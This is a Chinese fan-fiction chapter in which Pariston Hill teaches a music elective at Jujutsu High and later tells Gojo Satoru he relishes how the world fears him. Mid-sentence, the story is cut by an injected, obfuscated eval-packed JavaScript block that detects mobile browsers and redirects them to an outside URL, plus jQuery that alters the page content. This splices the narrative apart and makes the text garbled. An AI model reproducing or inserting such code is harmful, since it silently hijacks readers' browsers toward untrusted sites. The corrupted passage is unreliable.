咒术高专的选修课表上多了一门新课。
《西方音乐鉴赏与钢琴基础》
讲师:帕里斯通·希尔
授课时间:每周三下午2-4点
地点:三楼音乐教室
五条悟把这张课表塞进排课系统的时候,夜蛾正道看着“帕里斯通·希尔”这个名字沉默了很久。
“……就是那个被捅六刀的牛郎?”
“现在是音乐老师了,”五条悟摊手,也有一种想要吐槽但不知从何说起的难绷感,“尼特罗介绍的,说是有特殊才能。而且——”
五条悟还是补充道:“他确实有特殊才能。”
夜蛾没有追问。
他已经学会了对“尼特罗相关的事情”保持适度好奇。
周三下午两点,三楼教学楼。
音乐教室里摆着一架有些年头的三角钢琴,窗户擦得很亮,午后的阳光透过玻璃洒在木地板上,空气里浮动着细小的尘埃。
帕里斯通站在钢琴旁。
他没有穿那件酒红色的丝质衬衫,而是换了一套更老师的打扮,浅灰色的三件套西装。金丝眼镜架在鼻梁上,金色的头发梳得整整齐齐,露出光洁的额头。
如果忽略那枚若隐若现的暗红色耳钉,和手腕上那块贵得离谱的表,这就是一个标准的斯文的让人放心的贵族学校音乐教师。
当然,教室里的座位空荡荡的。
咒术高专的学生们忙着训练、出任务和咒灵拼命,谁有空来听什么西方音乐鉴赏?况且这门课又还是选修。
帕里斯通看了看手表。
两点零五分。
零人。
他也没有露出什么不满的表情,走到钢琴前坐下,掀开琴盖。
既然没人,那就自己弹一会儿吧。
第一个音符落下。
是李斯特的《钟》。
高音区的音符像水滴一样落下,清脆,密集,跳跃,在安静的教室里回荡。他的手指在琴键上飞快地移动,那些密集的音符流水般倾泻而出,交织成华丽的音响。
弹到一半,门被推开了。
帕里斯通没有停,只是余光瞥了一眼。
钉崎野蔷薇站在门口。
她本来是路过,听到琴声好奇来看一眼,然后就愣在了原地。
阳光从窗户斜照进来,落在那个弹钢琴的男人身上。灰色的西装,金色的头发,修长的手指在黑白琴键上飞舞。侧脸的线条柔和又精致,那副金丝眼镜在光线下偶尔闪一下,像电影里的画面。
最后一个音符落下。
帕里斯通转过头,朝她笑了笑。
“下午好,”他的声音很温和,又带着一丝喑哑,“来上音乐课的吗?”
钉崎回过神,用力点头:“是、是的!”
帕里斯通站起身,做了个“请”的手势:“随便坐。”
钉崎选了个靠窗的位置坐下,目光还忍不住往他身上飘。
帕里斯通假装没看见,继续弹琴。
第二周,钉崎又来了。
第三周,她带了虎杖悠仁。
第四周,虎杖悠仁带了伏黑惠。
帕里斯通的音乐教室,莫名其妙地热闹起来。
他从来不强迫学生认真听。想听就听,想睡就睡,想聊天也可以。他只是坐在钢琴前,弹一些好听的曲子,偶尔停下来讲几句作曲家的八卦,或者某个曲子的背景故事。
“肖邦和乔治·桑同居了十年,两人常与艺术家朋友探讨艺术、自由与爱情,同居初期是肖邦创作的最高峰。”
“李斯特这个人写的曲子特别有挑战性,这首《钟》,你们听这个高音部分,正常人根本弹不了——”
学生们听得津津有味。
更重要的原因是,帕里斯通每次来上课都会带伴手礼。
马卡龙、费南雪、可露丽、歌剧院蛋糕……都是东京那些需要排队才能买到的名店出品。他放在教室后面的桌子上,谁想吃自己拿。
“老师,你每天都吃这些吗?”虎杖嘴里塞着马卡龙,含糊不清地问。
“偶尔。”帕里斯通微笑。
钉崎看着他那身一看就很贵的西装,那块一看就很贵的表,那副一看就很贵的眼镜,默默在心里给这个男人贴上了标签:
有钱。很帅。会弹琴。还会送吃的。
完美。
某天下午,音乐课结束后。
五条悟靠在走廊的窗边,等着帕里斯通收拾东西。学生们已经走了,教室里只剩下他们两个。
帕里斯通把那叠乐谱放进昂贵包里,合上琴盖,然后抬起头,对上五条悟的视线。
“五条先生特意等我?”帕里斯通笑着走过来,“是想约我喝下午茶吗?”
五条悟没接这个话茬,只是看着他。
“适应得怎么样?”
“还不错,”帕里斯通推了推装饰用的金丝眼镜,“学生很可爱,教室很安静,待遇也很好。谢谢你帮忙安排。”
“不过五条先生——”
帕里斯通的笑容和平时不太一样,更亮,更像发现了什么有趣的东西。
“我这几天在学校里转了一圈,和几位老师聊了聊,也听了听学生们私下怎么议论你。”
五条悟挑眉:“哦?”
“很有意思,”帕里斯通身体微微前倾,“你知道吗?我可是很努力的,想要被人憎恨,还得特意去陷害别人做坏事,当,不对,我就是一个彻头彻尾的精神变态,这样才有人恨我。”
他的眼睛亮起来,那种亮不是装出来的,是发自内心的真正的兴奋:
“但是你,你什么都没做。你真心想帮助别人,关心学生,努力工作,每天只睡三小时,把自己活成咒术界的支柱——”
帕里斯通声音轻下来,却更兴奋了:
“结果,还是有那么多人把你当成怪物。”
五条悟愣住了,大脑空白了一瞬。
“……你什么意思?”
“我的意思是,这太了不起了!五条先生,你真的非常了不起!”
他的笑容越来越大,眼睛越来越亮,整个人像被什么点燃了一样:“你看,我要那么努力,那么费劲,用尽各种手段,才能得到别人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214225|197437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
憎恨。但你这么努力贡献,还是有人恨你、怕你,把你当成威胁。这说明什么?说明这个世界本身就在生产恶意!它不需要我做任何事,它自己就会源源不断地制造出憎恨和恐惧!”
帕里斯通深吸一口气,像在品味什么稀世珍酿:“太棒了。这地方太棒了。”
五条悟看着他。
窗外的阳光很好,帕里斯通的脸在光里显得格外生动,亮得过分的眼睛,微微上扬的嘴角。
那不是嘲讽。
那是真正的纯粹的发自内心的愉悦。
五条悟他忽然很想打人。不是愤怒的那种打,是“这个人实在太欠揍了”的那种打。
但他也知道,打了,这个人会更爽。
五条悟深吸一口气。
“帕里斯通。”
“嗯?”
“你刚才那番话,你是在针对我吗?”
“是吗?”帕里斯通歪了歪头,“可我不是在骂你啊。我是真的在夸你。你看——”
他掰着手指数:
“第一,你能力强,是最强。”
“第二,你人品好,真心为学生着想。”
“第三,你工作努力,几乎不休息。”
“第四,你长得帅,身材好,穿什么都好看。”
帕里斯通笑得更灿烂了:“这样一个人,居然会被那么多人当成怪物,这本身就是一种奇迹。是这个世界扭曲程度的证明。我怎么能不兴奋呢?”
五条悟沉默了。他知道帕里斯通说的是真话。这个人不是阴阳怪气,不是嘲讽,不是骂人。
他是真的觉得这很“了不起”。
这个想法本身,就让五条悟的心情非常复杂。
五条悟看着眼前这个男人。
阳光落在他们之间,尘埃在光线里浮动。
帕里斯通的眼睛亮得像烧着火。
“你……”五条悟开口,又停住。
帕里斯通歪着头看他,那表情无辜得像只偷吃了金鱼的猫,但眼睛里的光出卖了他。
五条悟深吸一口气。
“……你真的是个变态。”
“谢谢夸奖,”帕里斯通笑眯眯地点头,“不过五条先生,你刚才是不是想打我?”
五条悟没说话,他真的有在忍耐了。
“你打了我会怎么样呢?”帕里斯通托着下巴,认真思考,“我会很开心。因为被憎恨是我最喜欢的感觉,尤其是一个最强对我的憎恨。”
他眼睛弯成月牙:“那一定特别美味。”
五条悟转身就走。
帕里斯通在后面笑出声。
“五条先生!下周音乐课有空来听吗?我准备弹拉赫玛尼诺夫!”
五条悟头也不回,只是抬起手,比了个国际通用手势。
帕里斯通笑得更开心了。
他靠在窗边,看着五条悟的背影消失在走廊尽头,然后仰起头,望着天花板,发出一声满足的叹息。
“太好了。”他喃喃自语,“真的太好了。”
“这个世界——”
“比我想象的有趣一百倍。”